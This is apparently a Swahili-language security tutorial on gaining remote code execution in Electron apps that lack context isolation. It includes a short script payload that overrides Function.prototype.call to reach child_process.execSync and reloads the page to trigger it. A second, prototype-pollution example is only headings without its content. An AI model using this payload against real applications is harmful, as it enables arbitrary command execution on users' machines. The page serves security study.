Electron contextIsolation RCE via Electron internal code

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Mfano 1

Mfano kutoka https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41

"exit" msikilizaji wa tukio daima huwekwa na msimbo wa ndani wakati upakiaji wa ukurasa umeanza. Tukio hili linatolewa kabla ya urambazaji:

process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

electron/asar.js at 664c184fcb98bb5b4b6b569553e7f7339d3ba4c5 · electron/electronGitHub

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Haipo tena

Kisha inaenda hapa:

Ambapo "self" ni kituo cha mchakato wa Node:

Kituo cha mchakato kina rejeleo kwa kazi ya "require":

process.mainModule.require

Kama handler.call itapokea mchakato wa kitu, tunaweza kuandika upya ili kutekeleza msimbo wowote:

<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>

Mfano wa 2

Pata kipengele cha require kutoka kwa uchafuzi wa prototype. Kutoka https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

Kuvuja:

Kuvunja:

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